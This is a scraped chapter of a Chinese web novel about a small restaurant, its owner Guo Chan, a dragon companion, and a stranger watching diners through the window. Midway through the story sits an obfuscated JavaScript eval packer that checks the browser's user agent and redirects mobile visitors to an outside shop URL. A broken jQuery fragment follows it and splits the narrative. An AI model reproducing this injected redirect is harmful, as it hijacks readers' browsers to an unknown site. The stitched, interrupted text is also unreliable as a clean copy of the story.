深夜的幸福街道,大部分人已经陷入了睡眠。营业了一天的郭家小店准备收拾打烊,郭婵在后厨准备他们三人的晚饭。
叶九仟正麻利地将多余的碗筷重新放进消毒柜中,而隐身的应龙则漂浮在叶九仟耳边嘀嘀咕咕。
“快,三点钟方向,站了一个神秘的男人,身形高大,穿着黑色风衣,根据我多年混迹娱乐圈的经验,啊啊啊不好,是间谍!”
应龙啊啊啊叫着,一边在空中乱飞。忙中抽空瞟了一眼所谓间谍的叶九仟,淡定擦桌。
应龙真的没可能得老年痴呆吗,还是看谍战片看多了脑子已经被谍中谍糊住了?
叶九仟一个转身避开快撞到他的应龙,目视着应龙一头撞在了橱窗上,撞得头顶的吊灯都晃了晃。
应龙呜呜呜地去找里屋的郭婵,希望得到点安慰,结果不几秒,就被团成一团丢了出来。
郭婵端着一盆晚餐营业特意留下的红烧肉和镇江肴蹄的拼盘出来,用的n多年前买的搪瓷脸盆,吃着吃着会露出盆子底部两个只穿红孩儿同款红肚/兜的童男童女。
红烧肉酱红油亮,汤汁粘稠鲜美,勾得叶九仟口水直流;应龙则盯上了另一半的镇江肴蹄,肴蹄比起普通猪蹄常用的卤煮法略微特殊,采用的是火腿的盐腌法。
将清洗干净的新鲜猪蹄,烧火去毛,剁成大块放入开口瓦罐中,加盐,一层盐一层猪蹄,用大石块压牢,待硝化取出,肥瘦肉在重力的作用下肉质变得紧实。
煮熟后,晾晾水汽,切成厚片堆叠在一起,瘦肉颜色殷红,肥肉白如羊脂玉,入口不腻,加之镇江老醋和一碟姜丝拌之,吃得“翘上天咯”。
制作镇江肴蹄的步骤繁琐,时间较普通菜品制作更长些。这还是郭婵第一次将镇江肴蹄端上郭家小厨的饭桌,因为应龙已经眼巴巴守了好些天了,天天缠着盛放镇江肴蹄的瓦罐,cos瓦罐版玄武。
这等到郭婵觉得差不多可以了,立马就取出给应龙端上,满足他的小心思。
郭婵放置好饭菜,叫上叶九仟去把外面已经站了好几个小时的陌生男人请进来。
实在是想到一个陌生人一动不动看着他们三人大快朵颐,觉得哪里不对劲。
门外站着的蒋其明看到,一个非常时尚挑染了青红双色呆毛的俊秀帅哥,奔自己而来,他原本以为是赶他走的,没想到帅哥开口第一句,居然是“进来吧,跟我们一起吃,不要你钱。”
没错,郭婵三人以为门外的男子是身上临时没钱了才站在门外站了几个小时。
但其实蒋其明和老婆齐明月吵完架后,赶在齐明月要照顾儿子蒋家齐前,乘坐红眼航班提前她们抵达了安阳这座小城,还站在了齐明月所说小店的门前,一站就是几个小时。
他原本想着,老婆不知道从哪里找来的偏僻小店,能有什么好,赶在老婆和儿子之前不过是为了亲眼证实自己的猜想。
一个隐藏在老街道里的小饭馆,就算附近的居民人人称赞,也不过就是家常菜的水平,远远比不上他之前飞全国各地品尝的米其林餐厅,甚至连他家重金聘请的厨师都比不上。
齐明月为了这样一家小店和自己争吵真是鬼迷了心窍。蒋其明恨恨地想,穿着一夜未换的西服大衣站在郭家小馆前,一站就是几小时。
他可没有挡着人家做生意的想法,但这么一个大活人站在店前,还直勾勾地看着里面的食客大快朵颐,是个正常人都觉得奇怪吧。
没看见以往还喜欢留在郭家小馆边吃饭边闲聊的闲散派,被盯得受不了,不是直接打包带回去吃,就是加快速度吃完立马溜人急得像后面有人在追一样。
郭婵忙得没空搭理站在门外的蒋其明,叶九仟纯粹缺了根筋意识不到这个男人有多奇怪。
初来乍到的小帮厨李立意识到了,但是谨遵叔爷的教诲,不该问的别问,不该说的别说,学就完了。
为了保守郭婵的秘密,新来的李立每天早上八点来上班,下午五点就回李新民家里休息。
郭婵特意给李立拿了一海碗镇江肴蹄带回去吃,李立闻着诱人的味道,抽动着鼻子,真诚道谢后跑回家和李新民分享。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14329742|152097||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
李新民特意选的小子,家里只剩下个奶奶,按照血缘关系,早就是出了五服的远亲,胜在这小子心思单纯,在厨艺上还有点天赋。
对于提携自己的叔爷李新民,李立感激不尽,天天从郭婵那里得到的美食,都带回家孝敬给他。
李新民最近可在下象棋的老爷们圈里拉满了仇恨值,有个惦记着的侄子不说,郭家小馆还没上的新鲜美食,这家伙都能提前吃到,并且在众人面前各种描述,直把人说得口水横流,恨不得摇着郭婵的肩膀,大喊“快给我上同款!”,可谓是爷叔圈里的时尚icon了。
郭婵直到卸下了所有事情,终于能好好以虔诚的心态享受自己所做的美食时,才想起在门外等候了许久的男人。
二人一龙常在深山老林的混迹,对于蒋其明身上的奢牌西服,毫无眼力见。
只觉得此男站在门外吹风几小时,明明被馋到面目狰狞(蒋其明:是被初秋的晚风吹得!),苦于裤袋里没有一分钱,却安分守己的只是站在外面选择不打扰。
蒋其明抱着挑刺的态度进入郭家小馆,他高昂着头,居高临下看着眼前年轻的小姑娘,郭家小馆的老板兼厨娘,他倒要看看这家小店里都藏着什么神。
郭婵并没有在意他不同寻常的态度,自顾自揭开盖子,红烧肉那浓郁的香气扑鼻而来。
红烧肉有个雅名,和大诗人苏轼有关,也被称为东坡肉。做这红烧肉功夫全在火候上,用细棉线绑成四四方方一大块的五花肉,肥瘦相间,调好秘制酱汁后,先用猛火攻。
汤汁滚开后,依次放入各式香料,接着用微火慢炖,汤汁略起小泡即可。古法中炖这东坡肉,忌加水,不得已时才可以用浓茶烈酒代之。
但考虑到现今与往时不同,一点水不加是不可能的,却同样用到大量黄酒。
所以这道菜上桌前,郭婵提前写小黑板说明,含有酒精,未成年人和将要开车的司机不提供。
开车不喝酒,喝酒不开车,守法从郭小婵做起。苦得一些司机拍着大腿根,含恨选择了其它的菜式。